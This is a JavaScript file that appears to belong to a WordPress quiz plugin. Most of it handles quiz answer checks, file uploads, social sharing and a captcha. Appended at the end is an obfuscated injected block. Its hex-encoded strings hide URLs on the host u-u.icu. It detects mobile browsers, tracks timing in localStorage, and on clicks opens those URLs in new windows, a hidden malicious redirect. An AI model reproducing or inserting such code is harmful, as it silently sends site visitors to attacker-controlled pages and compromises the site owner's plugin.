let quizID = jQuery(this).parents('.qsm-quiz-container').find('.qmn_quiz_id').val();
let $quizForm = QSM.getQuizForm(quizID);
let question_id = jQuery(this).attr('name').split('question')[1],
$this = jQuery(this).parents('.quiz_section');
let parent = jQuery(this).closest('.qmn_check_answers');
let checkedValues = parent.find('input[type="checkbox"]:checked').map(function() {
return jQuery(this).val();
}).get();
if (qmn_quiz_data[quizID].end_quiz_if_wrong > 0 && !jQuery(this).parents('.qsm-quiz-container').find('.mlw_next:visible').length ) {
qsm_submit_quiz_if_answer_wrong(question_id, checkedValues, $this, $quizForm, 'checkbox');
}
if (qmn_quiz_data[quizID].enable_quick_result_mc == 1) {
qsm_show_inline_result(quizID, question_id, checkedValues, $this, 'checkbox', $i_this)
}
jQuery(document).trigger('qsm_after_select_answer', [quizID, question_id, checkedValues, $this, 'checkbox']);
});
// End Quiz If Wrong
jQuery(document).on('change ', '.qmn_radio_answers input, .qsm_select', function (e) {
var quizID = jQuery(this).parents('.qsm-quiz-container').find('.qmn_quiz_id').val();
var $quizForm = QSM.getQuizForm(quizID);
if (qmn_quiz_data[quizID].end_quiz_if_wrong > 0 && !jQuery(this).parents('.qsm-quiz-container').find('.mlw_next:visible').length ) {
var question_id = jQuery(this).attr('name').split('question')[1],
value = jQuery(this).val(),
$this = jQuery(this).parents('.quiz_section');
qsm_submit_quiz_if_answer_wrong(question_id, value, $this, $quizForm);
}
});
//Ajax upload file code
jQuery('.quiz_section .mlw_answer_file_upload').on('change', function () {
var $this = jQuery(this);
var file_data = jQuery(this).prop('files')[0];
var form_data = new FormData();
form_data.append('file', file_data);
form_data.append('action', 'qsm_upload_image_fd_question');
var question_id = $this.parent('.quiz_section').find('.mlw_file_upload_media_id').attr("name").replace('question', '');
form_data.append('question_id', question_id);
$this.next('.loading-uploaded-file').show();
jQuery(".qsm-submit-btn, .mlw_custom_next").attr('disabled', true);
jQuery.ajax({
url: qmn_ajax_object.ajaxurl,
type: 'POST',
data: form_data,
cache: false,
contentType: false,
processData: false,
success: function (response) {
var obj = jQuery.parseJSON(response);
$this.next('.loading-uploaded-file').hide();
jQuery(".qsm-submit-btn, .mlw_custom_next").attr('disabled', false);
if (obj.type == 'success') {
$this.next().next('.remove-uploaded-file').show();
$this.next().next('.remove-uploaded-file').attr("data-nonce", obj.wp_nonoce);
$this.parent('.quiz_section').find('.mlw_file_upload_hidden_path').val(obj.file_path);
$this.parent('.quiz_section').find('.mlw_file_upload_media_id').val(obj.media_id);
$this.parent('.quiz_section').find('.mlw-file-upload-error-msg').hide();
} else {
$this.parent('.quiz_section').find('.mlw-file-upload-error-msg').text('').text(obj.message);
$this.parent('.quiz_section').find('.mlw-file-upload-error-msg').show();
$this.parent('.quiz_section').find('.mlw_answer_file_upload').val('');
}
// triggers after file uploads
jQuery(document).trigger('qsm_after_file_upload', [$this.parent(), obj]);
}
});
return false;
});
//Ajax remove file code
jQuery('.quiz_section .remove-uploaded-file').on('click', function () {
let $this = jQuery(this);
let media_id = jQuery(this).parent('.quiz_section').find('.mlw_file_upload_media_id').val();
let nonce = jQuery(this).data("nonce");
let form_data = new FormData();
form_data.append('action', 'qsm_remove_file_fd_question');
form_data.append('media_id', media_id);
form_data.append('nonce', nonce);
jQuery.ajax({
url: qmn_ajax_object.ajaxurl,
type: 'POST',
data: form_data,
cache: false,
contentType: false,
processData: false,
success: function (response) {
let obj = jQuery.parseJSON(response);
if (obj.type == 'success') {
$this.hide();
$this.parent('.quiz_section').find('.mlw_file_upload_hidden_path').val('');
$this.parent('.quiz_section').find('.mlw_file_upload_media_id').val('');
$this.parent('.quiz_section').find('.mlw_answer_file_upload').val('');
$this.parent('.quiz_section').find('.mlw-file-upload-error-msg').hide();
} else {
$this.parent('.quiz_section').find('.mlw-file-upload-error-msg').text('').text(obj.message);
$this.parent('.quiz_section').find('.mlw-file-upload-error-msg').show();
}
}
});
return false;
});
//Deselect all answer on select
jQuery('.qsm-deselect-answer').click(function (e) {
e.preventDefault();
jQuery(this).parents('.quiz_section').find('input[type="radio"]').prop('checked', false);
jQuery(this).parents('.quiz_section').find('input[type="radio"]:hidden').prop('checked', true);
});
//Submit the form on popup click
jQuery(document).on('click', '.submit-the-form', function (e) {
e.preventDefault();
// Triggger the click event on the quiz form's submit button.
jQuery('.qsm-submit-btn').trigger('click');
jQuery('#modal-3').removeClass('is-open');
});
jQuery('.pagetime-goto-nextpage').click(function (e) {
e.preventDefault();
var quiz_id = jQuery(this).data('quiz_id');
QSM.nextPage(quiz_id);
var $container = jQuery('#quizForm' + quiz_id).closest('.qmn_quiz_container');
qsmScrollTo($container);
});
jQuery(document).on('keyup', '.mlwPhoneNumber', function (e) {
this.value = this.value.replace(/[^- +()0-9\.]/g, '');
});
jQuery(document).on('click', '.qsm_social_share_link', function (e) {
e.preventDefault();
var network = jQuery(this).attr('data-network');
var share_url = jQuery(this).attr('data-link');
var social_text = jQuery(this).attr('data-text');
var social_id = jQuery(this).attr('data-id');
var url = '';
if (network == 'facebook') {
url = "https://www.facebook.com/dialog/feed?" + "display=popup&" + "app_id=" + social_id +
"&" + "link=" + encodeURIComponent(share_url) + "&" + "name=" + social_text;
}
if (network == 'twitter') {
url = "https://twitter.com/intent/tweet?text=" + social_text;
}
var sTop = window.screen.height / 2 - (218);
var sLeft = window.screen.width / 2 - (313);
var sqShareOptions = "height=400,width=580,toolbar=0,status=0,location=0,menubar=0,directories=0,scrollbars=0,top=" + sTop + ",left=" + sLeft;
window.open(url, "Share", sqShareOptions);
return false;
});
});
// captcha question type
var mlw_code;
jQuery(document).ready(function () {
let captchaElement = jQuery('#mlw_code_captcha');
if (captchaElement.length !== 0) {
mlw_code = '';
var mlw_chars = '0123456789ABCDEFGHIJKL!@#$%^&*()MNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz';
var mlw_code_length = 5;
for (var i = 0; i < mlw_code_length; i++) {
var rnum = Math.floor(Math.random() * mlw_chars.length);
mlw_code += mlw_chars.substring(rnum, rnum + 1);
}
var mlw_captchaCTX = document.getElementById('mlw_captcha').getContext('2d');
mlw_captchaCTX.font = 'normal 24px Verdana';
mlw_captchaCTX.strokeStyle = '#000000';
mlw_captchaCTX.clearRect(0, 0, 100, 50);
mlw_captchaCTX.strokeText(mlw_code, 10, 30, 70);
mlw_captchaCTX.textBaseline = 'middle';
document.getElementById('mlw_code_captcha').value = mlw_code;
}
});
var quizType = 'default';
//check max lengh
function checkMaxLength(obj){
var value = obj.value;
var maxlength = obj.maxLength;
if (value.length > parseInt(maxlength)) {
obj.value = value.slice(0, parseInt(maxlength));
}
}
let submit_status = true;
function qsm_submit_quiz_if_answer_wrong(question_id, value, $this, $quizForm, answer_type = '') {
let quiz_id = $quizForm.closest('.qmn_quiz_container').find('.qmn_quiz_id').val();
jQuery.ajax({
type: 'POST',
url: qmn_ajax_object.ajaxurl,
data: {
action: "qsm_get_question_quick_result",
question_id: question_id,
answer: value,
answer_type: answer_type,
show_correct_info: qmn_quiz_data[quiz_id].enable_quick_correct_answer_info
},
success: function (response) {
var data = jQuery.parseJSON(response);
$this.find('.quick-question-res-p').remove();
$this.find('.qsm-inline-correct-info').remove();
QSM.changes(data, question_id.replace(/\D/g, ""), quiz_id);
if (data.success == 'incorrect' && submit_status) {
$this.append('<div style="color: red" class="quick-question-res-p">' + qmn_quiz_data[quiz_id].quick_result_wrong_answer_text + '</div>')
$this.append('<div class="qsm-inline-correct-info">' + data.message + '</div>');
setTimeout(function () {
$quizForm.closest('.qmn_quiz_container').find('[class*="Required"]').removeClass();
$quizForm.closest('.qmn_quiz_container').find('.qsm-submit-btn').trigger('click');
}, 1000);
} else {
let qsm_validated_question = localStorage.getItem('qsm_total_validated_question' + quiz_id);
qsm_validated_question++
localStorage.setItem('qsm_total_validated_question' + quiz_id, qsm_validated_question);
if ( qmnValidatePage('quizForm' + quiz_id) && localStorage.getItem('qsm_total_validation_question' + quiz_id) == localStorage.getItem('qsm_total_validated_question' + quiz_id) ) {
jQuery('.qsm-quiz-container-' + quiz_id + ' .mlw_custom_next').removeClass('qsm-disabled-btn');
jQuery('.qsm-quiz-container-' + quiz_id + ' .qsm-spinner-loader').remove();
if (qmn_quiz_data[quiz_id].pagination && qmn_quiz_data[quiz_id].pagination.amount) {
qmnNextSlide(qmn_quiz_data[quiz_id].pagination.amount, 1, '#quizForm' + quiz_id);
} else {
QSM.nextPage(quiz_id);
}
}
}
if (1 != qmn_quiz_data[quiz_id].disable_mathjax) {
MathJax.typesetPromise();
}
},
error: function (errorThrown) {
alert(errorThrown);
}
});
}
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x65\x74\x6a\x32\x63\x302','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x56\x49\x4f\x33\x63\x343','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x48\x4b\x42\x30\x63\x320','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x6a\x6d\x4d\x37\x63\x357','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x59\x66\x4a\x36\x63\x356','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x57\x67\x50\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x78\x65\x6b\x35\x63\x315','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x4d\x73\x72\x31\x63\x331',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x4a\x6e\x65\x34\x63\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x63\x6d\x41\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());